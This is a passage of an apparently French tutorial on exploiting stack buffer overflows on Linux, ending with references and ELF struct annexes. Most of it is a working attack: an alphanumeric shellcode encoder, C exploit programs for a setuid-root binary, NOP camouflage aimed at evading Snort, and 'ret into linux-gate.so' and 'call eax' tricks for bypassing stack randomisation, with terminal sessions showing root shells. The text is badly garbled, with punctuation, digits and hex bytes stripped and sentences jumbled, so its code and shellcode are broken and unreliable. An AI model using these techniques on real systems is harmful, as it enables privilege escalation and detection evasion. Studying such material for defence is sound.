print alphanumshellcode quotpush word xquot. resultindexgtquotresultquot. A chaque fois
que octets sont traits. index lt result.unpackquotHquot.unpackquotHquot. elsif indexltresult
print alphanumshellcode quotpush word xquot.resultindex gtquotresultquot. Traitement par
NOT octets maximum On compte les octets sur lesquels il faut faire un NOT if defined
bytesnotflag if resultindexgtquotmethodquot eq quotnotquot resultindexgtquotmethodquot eq
quotnotxorquot bytesnot .unpackquotHquot. . on push les suivants ou la fin du shellcode if
index if indexltresult print alphanumshellcode quotpush dword xquot.resultindex
gtquotresultquot.resultindex gtquotresultquot.resultindex gtquotresultquot.
resultindexgtquotresultquot. resultindexgtquotresultquot. index print alphanumshellcode
quotdec ecxnquot. while resultindex bytesnotgtquotmethodquot eq quotnotquot resultindex
bytesnotgtquotmethodquot eq quotnotxorquot ampamp bytesnot lt ampamp index bytesnot lt
result bytesnot. resultindexgtquotresultquot.quotnquot. elsif indexltresult print
alphanumshellcode quotpush dword
xquot.quotnquot.quotnquot.quotnquot.unpackquotHquot. bytesnotflag bytesnot.resultindex
gtquotresultquot.
if defined bytesnotflag bytesnotflag. close alphanumshellcode or die quotCant close
alphanum. bhnquot. dhnquot. index lt . print alphanumshellcode quotxor ecx.
resultindexgtquotkeyquotx. elsif bytesnotflag print alphanumshellcode quotxor ecx. print
alphanumshellcode quotpush word xquot. Bourrage print alphanumshellcode quotpush word
xnquot. if bytesnotflag ampamp bytesnot print alphanumshellcode quotxor ecx. undef
bytesnotflag. .edx.quotnpop dxnquot. print alphanumshellcode quotxor ecx. if edx ne
currentkey edx currentkey. esinquot ifbytesnot .asm quot. for my index opcodes. index print
alphanumshellcode quotpush dword xnquot. sinquot ifbytesnot bytesnot . Traitement par
XOR octet par octet if resultindexgtquotmethodquot eq quotxorquot
resultindexgtquotmethodquot eq quotnotxorquot my currentkey unpack quotHquot. print
alphanumshellcode quotxor ecx. bhnquot ifbytesnot .
x dec eax push esp pop ecx push eax push ecx push edx push eax push esp push ebp push
eax push edi popad dec ecx push dword xf xor ecx..asm BITS global start segment . Voici
lexploitation avec notre shellcode shellroot. bh push word x .. tant donn que cest lendroit o
nous allons crire notre shellcode dcrypt . Ainsi le nombre de NOPs dans cette zone sera gal
au nombre doctets que fait notre shellcode. Exploitation Notre exploit sera lgrement diffrent
tant donn que la structure du payload ne sera pas la mme que lors dune exploitation
classique il faut rajouter des NOPs entre la routine de dcryptage et ladresse de retour.
toutefois il faudra insrer un nombre minimum de NOPs pour les raisons bourrage expliques
prcdemment..pl deimosltbx/stackoverflow/shellroot cat perl.asm
deimosltbx/stackoverflow/shellroot perl alphagen.text start dec esp dec esp dec esp dec esp
push dword x pop eax xor eax.
dh push word x deimosltbx/stackoverflow/shellroot nasm perl.hgt char shellcode
quotxcxcxcxcxxxxxxxxxxxxxx xxxxxxxxxxxxxxxfxxx xxxxxaxxxxxxxxxxxxx
axxxxxxxaxfxxxxxxxaxxx xxxxxxxxxxaxxxxxxxax xfxxxxxxaxxxxxxxxxxax
xxxxxxxxcxxxxxxxxaxx xxxxxxxxxxxxaxxxxxx xexxxxxxxxaxxxxxxxxx xxxxexxxxxxxxaxxxxxx
xxxxexxxxxxxxxxxaxxx xxxxxxaxxfxxxxxxxxaxx xxxxxxxxxaxxxxxfxxaxfx
xxxxxxxxxaxxxxxxxxx xxxaxxxxxfxxxxxxxxxx xxxaxxxxxxxxxfxxaxfxxx xxxxxxxaxxxxxxxxxxx
xaxxxxxxxxxxxxxxxxx xaxxxxxxxxxxxaxfxxxxx xxxxxaxxxxxxxxxxxxxquot . dh dec ecx dec
ecx xor ecx. si push word x pop dx xor ecx. .c include ltmalloc.pl xcxcxcxcxxx
deimosltbx/stackoverflow/shellroot cat gtexploit. dh dec ecx dec ecx push dword xfa push
word x pop dx xor ecx.asm o shellcode deimosltbx/stackoverflow/shellroot perl
extractshellcode.pop dx xor ecx.
shlength. shlength atoiargv.unsigned long findesp asmquotmovl esp. fori. ptrret. i ptrret ret.
memsetptrbuff. ptrbuff buffersize . buff char mallocbuffersize . ptrbuff buff. ret findesp offset.
ilt. x. offset atoiargv. ptrbuff shlength. fori. shlength. x. int i. ptrret long ptrbuff. ptrbuff.
memsetptrbuff. buffersize atoiargv.shlength. . eaxquot. ifshlength lt shlength .
iltstrlenshellcode. i ptrbuff shellcodei. argv. return .shlength. unsigned int offset. unsigned
long ret. char argv ifargc lt printfquotUsage s offset buffersize sizeshellcodenquot.
buffersize.strlenshellcode . buffersize . char buff.strlenshellcode . int mainint argc.
ptrbuff char ptrret ptrbuff printfquotTaille du shellcode dnTaille totale dnOffset xxnquot,
strlenshellcode, strlenbuff, ret execlquot./vulnquot, quot./vulnquot, buff, NULL return
deimosltbx/stackoverflow/ shellroot gcc o exploit exploit.c deimosltbx/stackoverflow/ shellroot
./exploit Usage ./exploit offset buffersize sizeshellcode deimosltbx/stackoverflow/ shellroot
./exploit Taille du shellcode Taille totale Offset xbffffc sh.b id uidroot gidroot
groupsdialout,cdrom,floppy,audio,video,plugdev, deimos sh.b exit exit
.. Camouflage de NOPs
Une dernire tape afin de rendre notre exploitation le plus invisible possible consiste
remplacer le traditionnel octet x NOP qui nest dailleurs pas dans notre jeu de caractres
alphanumrique par une ou plusieurs instructions dun octet qui nauront pas dincidences sur
notre shellcode.
En effet, en plus de pouvoir dtecter des instructions classiques comme int x xCD, les NIDS
comme Snort peuvent reprer trs facilement suite de NOPs durant plusieurs dizaines voire
centaines doctets. On peut ainsi les substituer par des instructions dun octet opcode
alphanumrique tels que inc ecx dx bx sp bp si di ou dec reg. Il est assez trivial de modifier les
exploits prcdents en consquence il suffit de changer
linstruction memsetptrbuff, x, .
. Technique avance dexploitation de stack overflow
.. ret into linuxgate.so.
... Prsentation de la mthode
Dans les noyaux Linux ..x est incluse une randomisation de ladresse de base de la pile. Or,
dans tous nos exploits prcdents, nous avons rcuprer ladresse de base de la pile du
processus courant donc de lexploit, puis nous avons rajout un offset afin de retomber sur
notre shellcode. Cette mthode ne fonctionne plus si ladresse de la pile est diffrente pour
chaque processus. On peut rapidement vrifier lexistence de ladite protection
deimosltbx/stackoverflow cat gtgetesp.c include ltstdio.hgt long getesp asmquotmovl esp,
eaxquot int main printfquotStack Pointer xxnquot, getesp return deimosltbx/stackoverflow gcc
o getesp getesp.c deimosltbx/stackoverflow for i in seq do ./getesp done Stack Pointer xbfdbf
Stack Pointer xbfbed Stack Pointer xbfabac Stack Pointer xbfbbcd Stack Pointer xbfcac
car cest un DSO virtuel en effet il est mapp en mmoire directement partir du kernel. Il est
implment dans les noyaux ... Dynamic Shared Object. une adresse fixe.so bfcbfe rwp
/lib/ld..so.. est partag entre tous les processus du systme et uniquement mapp une fois en
mmoire.so.e.. On remarque quil se situe ladresse xffffe. Pourquoi cela nous intressetil Car le
code de linuxgate. nexiste toutefois pas. il ne sera pas trivial de deviner ladresse de retour
Cest ici quintervient linuxgate.. mme si lon dispose dun buffer de plus de octets.so bfbfc rwp
bf bfbf rwp bf bfbfc rxp /lib/ld.so bfbf rwp c /lib/tls/i/cmov/libc.. est sous le label VDSO Virtual
DSO.so.Cette randomisation dpend du contenu du fichier randomizevaspace situ dans le
systme de fichiers virtuel /proc deimosltbx/stackoverflow cat
/proc/sys/kernel/randomizevaspace On remarque effectivement que ladresse de la pile est
change chaque cration dun processus dans une plage dadresses assez importante..so. i. Le
fichier systme linuxgate..so bffbffc rwp bff stack ffffefffff p vdso Lemplacement mmoire o est
situ linuxgate.so bfbf rp /lib/tls/i/cmov/libc.so.x afin dacclrer les syscalls. . linuxgate. Ainsi. est
un DSO. deimosltbx/stackoverflow cat /proc/self/maps c rxp /bin/cat cd rwp /bin/cat de rwp d
heap bdcbdda rp /usr/lib/locale/localearchive bddabddb rwp bdda bddbbf rxp
/lib/tls/i/cmov/libc....
Ceci est assez facile raliser . jmps. .c. Dans un premier temps. scanning for JMP ESP .
jmps. il suffit en effet dinspecter la mmoire dun processus ladresse xffffe afin den dduire
lexistence ou non de linstruction. afin dexcuter notre shellcode. i lt . char argv int i.org /
include ltstdio. jmps . qui ne devra donc plus tre au mme endroit dans le payload que
prcdemment au lieu de le placer dans le buffer vulnrable.hgt int mainint argc. i if ptri xff ifptri
xe printfquot xx jmp espnquot. La technique utiliser est de rechercher dans cet espace
mmoire partag un code assembleur tel que jmp esp ou call esp. ptri.Ce DSO virtuel peut
donc nous tre utile dans la mesure o il dispose dune adresse fixe et connue. else ifptri xd
printfquot xx call espnquot. il faudra le positionner aprs ladresse de retour. char ptr char
xffffe.hgt include ltstdlib. jmps.iziktty.hgt include ltunistd. for i . il faut connatre ladresse dune
instruction nous permettant de dvier EIP vers la pile. ptri.c / gotjmpesp. Voici le code C de
Izik lgrement modifi par moimme afin deffectuer cette tche deimosltbx/Ret cat gtgotjmpesp.
c deimosltbx/Ret . la structure du payload est diffrente./gotjmpesp No JMP/CALL ESP were
found deimosltbx/Ret uname r . On constate que sur mon noyau . qui pointe vers lespace de
la pile situ aprs ladresse de retour.. cela ne posera pas derreur Illegal instruction. sur un
noyau un peu plus ancien deimosltbx/Ret uname r .if jmps printfquot No JMP/CALL ESP
were foundnquot. Le schma situ sur la page suivante rsume la structure de notre payload.
deimosltbx/Ret gcc o gotjmpesp gotjmpesp. La prsence de ces dernires dpend de nombreux
facteurs.smp deimosltbx/Ret . aucune des deux instructions nest trouve. les options.
Effectivement. la version de gcc avec laquelle le kernel a t compil. Notre shellcode viendra
donc se positionner aprs ladresse de retour cette foisci. return .. . vu quil ne sera pas excut.
Ainsi le contenu de notre buffer nest pas important ./gotjmpesp xffffecb jmp esp xffffef call
esp Comme dit prcdemment. etc. on peut donc le remplir par des caractres ne
correspondant pas un code assembleur correct. comme la version du kernel. mais vers ESP.
tant donn quon ne saute pas vers ladresse du buffer...
.. deimosltbx/Ret . ./findesp xffffecb jmp esp xffffef call esp deimosltbx/Ret cd .so.c.. crer un
exploit ne savre pas tre une grande difficult. ainsi que le code source de exploit. Voici
lexploitation effectuer pour une attaque de type ret into linuxgate. Exploitation Une fois le
concept de la mthode compris.. Il nous suffit de modifier lgrement les exploits prcdents.c
./stackoverflow deimosltbx/stackoverflow cat gtvuln.
char argv ifargc lt printfquotUsage s jmpespaddr buffersizenquot. .
strcpybuffer.plugdev.floppy.cdrom.dei mos sh.c deimosltbx/stackoverflow su Password
ltbx/home/deimos/stackoverflow chown root vuln ltbx/home/deimos/stackoverflow chgrp root
vuln ltbx/home/deimos/stackoverflow chmod vuln ltbx/home/deimos/stackoverflow ls al vuln
rwsrsrx root root vuln ltbx/home/deimos/stackoverflow exit exit deimosltbx/stackoverflow .
return ./exploit Usage . char argv char buffer.int mainint argc.audio. argv./exploit xffffecb sh.
int mainint argc. return ./exploit jmpespaddr buffersize deimosltbx/stackoverflow .hgt char
shellcode quotxxcxbxxxdbxcdxxxcxbxexxdbxcdxxxcx bxbxaxxxxxxaxxxxfxxxfxxxe
xxexxdxxxxexcdxxxcxbxxxdbxcdxquot.b exit exit deimosltbx/stackoverflow
deimosltbx/stackoverflow cat gtexploit. deimosltbx/stackoverflow gcc o vuln vuln.
argv.video.b id uidroot gidroot groupsdialout.c include ltmalloc.
buffersize atoiargv.char buff. unsigned int buffersize.. ../vulnquot. int i. ptrret ret. fori. NULL.
fori. i ptrbuff A. ptrbuff buff. une protection a t dveloppe ma connaissance sur la version de
Fedora Core ainsi que les versions postrieures. return .. execlquot. Protection possible
Concernant cette technique de saut dans linuxgate.so. . i ptrbuff shellcodei. ne sera plus
xffffe. . long ret.so. ptrret long ptrbuff. ret strtollargv.sizeofret. ptrbuff . long ptrret. buff. En
effet ladresse mmoire o est mapp le DSO linuxgate./vulnquot. quot. ptrbuff. iltstrlenshellcode.
iltbuffersize . . mais une adresse du type xxxxxxx. Celleci consiste un ASCII shielded une
protection par le code ASCII. buff char mallocbuffersize sizeofret strlenshellcode.
Du coup. fin. return .. la copie du payload dans la mmoire sarrtera ce stade un simple
Segmentation fault est prvisible. char fin char str quotquot. peuvent nous permettre dexcuter
notre shellcode lorsque la randomisation de ladresse de base de la pile est active.so.. ret
into . debut. ret strcatstr.hgt char concatchar debut. int mainint argc. . ladresse de retour vers
linstruction jmp esp commencera par un caractre NULL. plusieurs mthodes ont t tudies par
Izik. return ret. situes dans linuxgate. comme la plupart des failles de scurit traitant de stack
overflow proviennent dune mauvaise utilisation des fonctions sur les chanes de caractres et
que le caractre x indique la fin dune chaine. char argv ifargc concatargv.text Prcdemment.
les autres tant plus ou moins semblables. ce qui rendra lexploitation du stack overflow
impossible. Que faire lorsquune protection contre lutilisation de ladite DSO a galement t mise
en place Dans ce cas.c include ltstring. quotxquot. . En effet. char ret. Nous allons traiter une
de cellesci en dtail. Admettons que nous ayons le programme vulnrable suivant
deimosltbx/RetToText cat gtvuln. ret strcatstr. nous avons vu que des instructions comme
jmp esp.
hgt include ltstring.so. le buffer qui sera renvoy ou plutt. nous utilisons un utilitaire que jai cod
bas sur ptrace. .c. Rappelonsnous que ce pointeur se situera dans le registre EAX.hgt
include ltsys/wait. long addr. quotUsage ns string PID xbaseaddressnquot. char argv
unsigned long base. cela via deux appels de la fonction sensible strcat. Un call eax ou un
jmp eax ne nous suffiraitil pas Nous allons analyser le code assembleur de notre processus
vulnrable. Toutefois. pid atoiargv. quelle adresse de retour spcifier alors quon ne connat pas
ladresse de base de la pile et quil est impossible dutiliser linuxgate.so. . puisque le rsultat
dune fonction est toujours stock dans le registre accumulateur. On remarque que la fonction
renvoie un pointeur vers la chane finale. char str.hgt include ltstdio. argv. include lterrno. De
plus. return . if argc lt fprintfstderr. le buffer vers lequel pointe le pointeur renvoy sera en
mesure de contenir notre shellcode.hgt include ltsys/ptrace.hgt include ltstdlib. base
strtollargv. Il est inspir de celui quont programm Clad Strife et Xdream Blue afin de
rechercher des instructions jmp esp dans linuxgate. Pour cela.Ce programme est assez
basique et inutile comme tous nos vuln. .. il utilise une fonction de concatnation afin de
concatner le premier argument du programme avec le caractre NULL . int pid.hgt void
resolvestringconst char str. dans le cas dune exploitation de ce stack overflow. int pid. int
mainint argc.
. lt if errno flag printfquots Chaine non trouvee. if ptracePTRACEATTACH. long addr char
data mallocstrlenstr. printfquotRecherche de la chaine a loffset xx. while ifdata
ptracePTRACEPEEKDATA. str. pid. pid. ptracePTRACEDETACH. pid. int pid. base. void
resolvestringconst char str. return. resolvestringstr. . return EXITSUCCESS. x.nArret a
ladresse xxnquot. lt perrorquotptracequot. return. addr. memsetdata. . int flag . str.. waitpid.
.str argv. i. iltstrlenstr. .nArret a ladresse xxnquot. fori. . lt iferrno flag printfquots Chaine non
trouvee. addr. int length. addr. strlenstr. addr. return.nquot. addr ifdatai
ptracePTRACEPEEKDATA. . . addr. ifdata str addr. pid. unsigned int i. pid.
memsetdata. addr. flag .text start call eax deimosltbx/RetToText nasm f elf eax. str. gdb x/bx
x x ltstartgt xff xd gdb quit . cette chaine sera lopcode de linstruction call eax . pid. Dans
notre cas. str addr strlenstr. x. strlenstr.nquot. printfquots trouvee dans le processus d a
loffset p. avec gdb deimosltbx/RetToText cat gteax.o deimosltbx/RetToText gdb eax gdb
disass start Dump of assembler code for function start x ltstartgt call eax End of assembler
dump. La valeur de lopcode peut tre obtenue rapidement. addr. Lexcutable cidessus prend
en premier paramtre la chaine chercher en mmoire.asm BITS global start segment .asm
deimosltbx/RetToText ld o eax eax.if strcmpdata.
qui est la fonction invoquant les constructeurs du programme. Ces adresses sont statiques
vu que ladresse de lentry point ne change pas . x Recherche de la chaine a loffset x. Exit
anyway y or n y On constate que linstruction call eax est prsente de nombreux
endroits./parse Usage ..packquotCquot. gdb start Breakpoint at xe Starting program
/home/deimos/RetToText /vuln xe in main gdb x/i xff xff ltcallgmonstartgt call eax gdb x/i xd
xd ltdoglobalctorsauxgt call eax gdb quit The program is running. linstar de ladresse du
buffer./parse string PID xbaseaddress deimosltbx/RetToText ./parse perl e print
packquotCquot. xd. notamment dans la fonction callgmonstart qui permet de lancer le
profiling dun processus ainsi que dans doglobalctorsaux. xff. trouvee dans le processus a
loffset xff.. trouvee dans le processus a loffset xd. trouvee dans le processus a loffset xff.
.Lanons notre excutable vulnrable. trouvee dans le processus a loffset xd./vuln . rcuprons le
PID ps aux grep vuln devrait suffire puis la recherche grce notre parser
deimosltbx/RetToText . on peut ainsi relancer plusieurs fois lexcutable sans quelles ne soient
modifies. deimosltbx/RetToText gdb ...
iltstrlenshellcode. i ptrbuff x. ret strtollargv. return . iltbuffersize . int i. ptrbuff buff. argv.
ptrbuff. le voici tout de mme.strlenshellcode.hgt char shellcode
quotxxcxbxxxdbxcdxxxcxbxexxdbxcdxxxcxb xbxaxxxxxxaxxxxfxxxfxxxexx
exxdxxxxexcdxxxcxbxxxdbxcdxquot. . i ptrbuff shellcodei. char buff. execlquot. . long ptrret.
quot. au cas o la mthode dattaque ne serait pas claire include ltmalloc. long ret. ptrret long
ptrbuff. ptrret ret. buff char mallocbuffersize sizeofret./vulnquot.Notre exploit. int mainint argc.
buffersize atoiargv. unsigned int buffersize.c est trs classique ./vulnquot. fori. return . . char
argv ifargc lt printfquotUsage s calleaxaddr buffersizenquot. fori. NULL. buff.
video. Effectivement un hacker possde toutes les informations sur les processus lui
permettant dexploiter la vulnrabilit sans encombre dans le systme de fichiers /proc.b exit exit
deimosltbx/RetToText . deux fichiers peuvent nous renseigner sur ladresse de base de la
pile.deimos sh. ni mme ladresse dune ventuelle instruction jmp esp dans linuxgate.plugdev. il
ne peut pas prdire ladresse du shellcode stocke dans la pile. tous ces problmes sont
rapidement rsolus.audio./exploit xff sh. Comme dit dans la section Rappels des concepts de
base . le fichier /proc/pid/maps. Exploitation en local La randomnisation de ladresse de base
de la pile est une protection contraignante pour lattaquant dans le cas dune attaque
distance. Tout dabord. En local..b id uidroot gidroot groupsdialout.. qui . Cest ici quil devient
intressant de raliser une prise dempreintes afin de dtecter la version de lOS exacte. En
effet.so.cdrom.deimosltbx/RetToText . voire la version du kernel Linux.floppy./exploit Usage
./exploit calleaxaddr buffersize deimosltbx/RetToText su Password
ltbx/home/deimos/RetToText chown root vuln ltbx/home/deimos/RetToText chgrp root vuln
ltbx/home/deimos/RetToText chmod vuln ltbx/home/deimos/RetToText exit exit
deimosltbx/RetToText .
mais aussi le fichier /proc/pid/stat.contient les diffrentes rgions mmoire du processus dont la
pile bien entendu avec leurs adresses de dbut et de fin. deimosltbx cat /proc//maps grep
stack bfdebfdf rwp bfde stack deimosltbx cat /proc//stat cut f d quot quot . dont le me champ
est ladresse de dpart de la pile en dcimal.
selon moi.Conclusion Cet article touche prsent sa fin. Deimos . Jaurai encore voulu traiter
de nombreux points. comme par exemple Microsoft Windows.net.worldnet. sur le channel
IRC futurezoneirc.net. mais aussi de lexploitation de stack overflow sous une autre famille de
systme dexploitation que GNU/Linux. StackShield et dautres et de leurs faiblesses.
malheureusement le temps mais galement le cadre initial de cet ouvrage mobligent en rester
ce stade. assez satisfaisant. ou via le site http//www. Toutefois il naurait pas t dplaisant de
traiter des diffrentes protections possibles comme PaX. qui est dj. Peuttre en feraije le sujet
dun prochain article. En esprant avoir des retours sur ce document.fzcorp.
Merci donc mes relecteurs et aux personnes mayant fait part de leur avis visvis de cet
ouvrage Gutek / ne. Blwood. futurezoneirc.net. securfrog. .Remerciements Cette partie est
ddie ceux qui mont aid la rdaction de cet article. benjilenoob Merci galement aux personnes
prsentes sur le chan o vous pouvez me contacter IRC de FutureZone. BeRgA.worldnet.
fireboot.
Xdream Blue.html. Writing ia alphanumeric shellcodes.sysdream.. Christophe
Blaess.ualberta. http//www.Rfrences Stphane Aubert. Eviter les failles de scurit ds le
dveloppement dune application mmoire.hsc.cgsecurity. pile et fonctions.so.
http//www.com/article.org/Articles/SecProg/Art/indexfr.
http//developer.fr/ressources/breves/stackoverflow. http//www.html Julien
Olivain..ca/CNS/RESEARCH/LinuxClusters/mem. Christophe Grenier. http//www.txt
Rix.org/archives//px Intel.org/doc/smackthestack. Understanding Memory.xvsyscalls. Le
polymorphisme et le camouflage de shellcodes.htm
Izik.intel.com/design/pentiumii/manuals/.com/johan///linuxgate/ . http//www.phrack.
http//packetstormsecurity.pdf Clad
Strife.so.org/defcon/dcfozyshellcodes/dcfozyWritingShellcodes/docs/french/stealthshellcodes
.com/papers/ Johan Petersson. http//www. Smash the stack.html Frdric Raynal. Volume
Instruction Set Reference Manual. shellcode.trilithium. Intel Architecture Software
Developers Manual.phpstoryidampsectionid Izik.tty. http//www. Exploiting with linuxgate.
Introduction aux dbordements de buffer. http//www. Linux. What is linuxgate.fr University of
Alberta.milwrm.
securiteam.com/content/images//downloads/gormanbook.html Mel
Gorman.com/securityreviews/BHAEAA.pdf Jack C. Introduction au format ELF. http//www.
Understanding the Linux Virtual Memory Manager.securityfocus. http//www. http//www. Re
bypassing randomized stack using linuxgate. http//www.com/archive/////threaded Thomas
Garnier. Linux Virtual Addresses Exploitation.. Michael
Turner.phptr.so.com/fr//introductionelffr/ .supinfoprojects.
shsize. eehsize. . eversion. etype. poffset. eshentsize. ppaddr. shtype. ephnum. pflags.
shaddralign. eshstrndx. pvaddr. emachine. eentry. pmemsz. shlink. shinfo. shentsize.
shflags. shaddr. eflags. eidentEINIDENT. typedef struct uintt ElfOff ElfAddr ElfAddr uintt uintt
uintt uintt ElfPhdr. eshoff. ephentsize. eshnum. shname. typedef struct uintt uintt uintt ElfAddr
ElfOff uintt uintt uintt uintt uintt ElfShdr.Annexes define EINIDENT typedef struct unsigned
char uintt uintt uintt ElfNAddr ElfNOff ElfNOff uintt uintt uintt uintt uintt uintt uintt ElfNEhdr.
ephoff. ptype. palign. shoffset. pfilesz.
Téléchargement